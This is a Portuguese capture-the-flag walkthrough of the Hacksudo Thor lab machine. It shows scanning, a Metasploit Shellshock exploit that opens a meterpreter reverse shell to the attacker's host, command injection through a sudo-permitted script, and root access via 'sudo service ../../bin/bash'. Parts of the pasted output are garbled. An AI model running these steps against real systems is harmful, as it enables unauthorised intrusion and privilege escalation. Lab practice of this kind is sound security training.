Hacksudo Thor

domingo, 12 de setembro de 2021

Iniciado os testes com "nmap", onde encontramos as portas 21/ftp, 22/ssh e 80/http.

PORT STATE SERVICE
21/tcp filtered ftp

22/tcp open ssh
ssh-hostkey:
2048 37:36:60:3e:26:ae:23:3f:e1:8b:5d:18:e7:a7:c7:ce (RSA)
256 34:9a:57:60:7d:66:70:d5:b5:ff:47:96:e0:36:23:75 (ECDSA)

256 ae:7d:ee:fe:Id:bc:99:4d:54:45:3d:61:16:f8:6c:87 (ED25519)

80/tcp open http
http-methods:
Supported Methods: GET HEAD POST OPTIONS
Lhttp-title: Site doesn't have a title (text/html; charset=UTF-8).

MAC Address: 08:00:27:D5:DD:87 (Oracle VirtualBox virtual NIC)

Executado o "gobuster" e pude identificar que possui o diretório "/cgi-bin/", possivelmente há uma vulnerabilidade de Shell Shock, foi encontrado um arquivo shell.sh

```
2021/08/29 11:51:30 Starting gobuster in directory enumeration mode

http://192.168.0.124/.htaccess (Status: 403) [Size: 278]
http://192.168.0.124/.htpasswd (Status: 403) [Size: 278]
http://192.168.0.124/gi-bin/ (Status: 403) [Size: 278]
http://192.168.0.124/gi-bin/ (Status: 301) [Size: 314] [→ http://192.168.0.124/fonts/]
http://192.168.0.124/images (Status: 301) [Size: 315] [→ http://192.168.0.124/images/]
http://192.168.0.124/server-status (Status: 403) [Size: 278]
```

```
2021/08/29 12:28:23 Starting gobuster in directory enumeration mode

http://192.168.0.124/cgi-bin/.htpasswd (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htpasswd.php (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htpasswd.txt (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htpasswd.txt (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htpasswd.html (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htpasswd.html (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htpasswd.sh (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htpasswd.sh (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htpasswd.sh (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htaccess.html (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.htaccess.sh (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/.shell.sh (Status: 403) [Size: 278] http://192.168.0.124/cgi-bin/shell.sh (Status: 500) [Size: 611]
```

Pesquisando por "cgi-bin" no Metasploit-Framework e encontramos um exploit para o CVE-2014-6271, para falha de Shell Shock.

```
msf6 exploit(
                                                                                                    ) > show options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
                                    Current Setting Required Description
      Name
                                                                                            CMD max line length
CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HTTP header to use
HTTP method to use
      yes
yes
      HEADER
METHOD
                                    User-Agent
GET
                                                                                           HTTP method to use
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Target PATH for binaries used by the CmdStager
The target port (TCP)
The local host or network interface to listen on. This must be an address on the local machine or 0.0.0 to listen on all addresses.
The local port to listen on.
Negotiate SSL/TLS for outgoing connections
Path to a custom SSL certificate (default is randomly generated)
Path to CGI script
HTTP read response timeout (seconds)
The URI to use for this exploit (default is random)
HTTP server virtual host
      Proxies
RHOSTS
RPATH
                                     /bin
                                    80
                                                                         yes
yes
       RPORT
                                                                         yes
no
      SRVPORT
                                    8080
                                    /cgi-bin/shell.sh yes
5 yes
      TARGETURI
TIMEOUT
URIPATH
Payload options (linux/x86/meterpreter/reverse_tcp):
      Name Current Setting Required Description
      LHOST 192.168.0.249 yes
LPORT 4444 ves
                                                                      The listen address (an interface may be specified)
The listen port
Exploit target:
      Id Name
```

Preenchi as informações de target e kali host no exploit e executei ele, recebendo uma shell meterpreter.

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exee) > exploit

[*] Started reverse TCP handler on 192.168.0.249:4444

[*] Command Stager progress - 100.46% done (1097/1092 bytes)

[*] Sending stage (984904 bytes) to 192.168.0.124

[*] Meterpreter session 1 opened (192.168.0.249:4444 → 192.168.0.124:52814) at 2021-08-29 12:32:28 -0400

meterpreter > shell
Process 706 created.
Channel 1 created.
id
uid-33(www-data) gid=33(www-data) groups=33(www-data)
```

Com o comando "python -c 'import pty;pty.spawn("/bin/bash")", consegui obter uma shell melhor do usuário (www-data). Executei o comando "sudo -l" e pude ver que há um arquivo de shell script (hammer.sh), que só pode ser executado pelo usuário thor

```
bash-4.3$ sudo -l
sudo -l
Matching Defaults entries for www-data on HackSudoThor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/bin
User www-data may run the following commands on HackSudoThor:
(thor) NOPASSWD: /home/thor/./hammer.sh
bash-4.3$
```

Executado como usuário thor o shell script e podemos ver que ele executa comandos como o usuário thor.

```
bash-4.3$ sudo -u thor /home/thor/./hammer.sh
sudo -u thor /home/thor/./hammer.sh

HELLO want to talk to Thor?

Enter Thor Secret Key: test
test
Hey Dear! I am test, Please enter your Secret massage: id
id
uid-1001(thor) gid-1001(thor) groups-1001(thor)
Thank you for your precious time!
bash-4.3$
```

Executado os comandos "bash" e "SHELL=/bin/bash script -q /dev/null" para pegar uma shell mais completa do usuário thor.

```
bash-4.3$ sudo -u thor /home/thor/./hammer.sh
sudo -u thor /home/thor/./hammer.sh

HELLO want to talk to Thor?

Enter Thor Secret Key : id
id
Hey Dear ! I am id , Please enter your Secret massage : bash
bash
id
id
id
uid-1001(thor) gid=1001(thor) groups=1001(thor)

SHELL=/bin/bash script -q /dev/null

SHELL=/bin/bash script -q /dev/null
thor@HacksudoThor:/tmp$
```

Rodei novamente o comando "sudo -l" e identifiquei que os executáveis (cat) e (service), pode ser usado para escalação de privilégios.

\$ LFILE=/bin/bash; \$sudo cat "\$LFILE"

```
$ sudo /usr/sbin/service .././bin/bash
thor@HacksudoThor:-$ sudo -l
sudo -l
Matching Defaults entries for thor on HackSudoThor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/bin
User thor may run the following commands on HackSudoThor:
    (root) NOPASSWD: /usr/bin/cat, /usr/sbin/service
thor@HacksudoThor:-$
```

Executado o comando "service ../../bin/bash" e obtive a shell de root.

```
thor@HacksudoThor:-$ sudo service ../../bin/bash sudo service ../../bin/bash bash-4.3#

bash-4.3# id

id

uid-0(root) gid-0(root) groups-0(root)

bash-4.3# |
```

Capturado a flag de root.

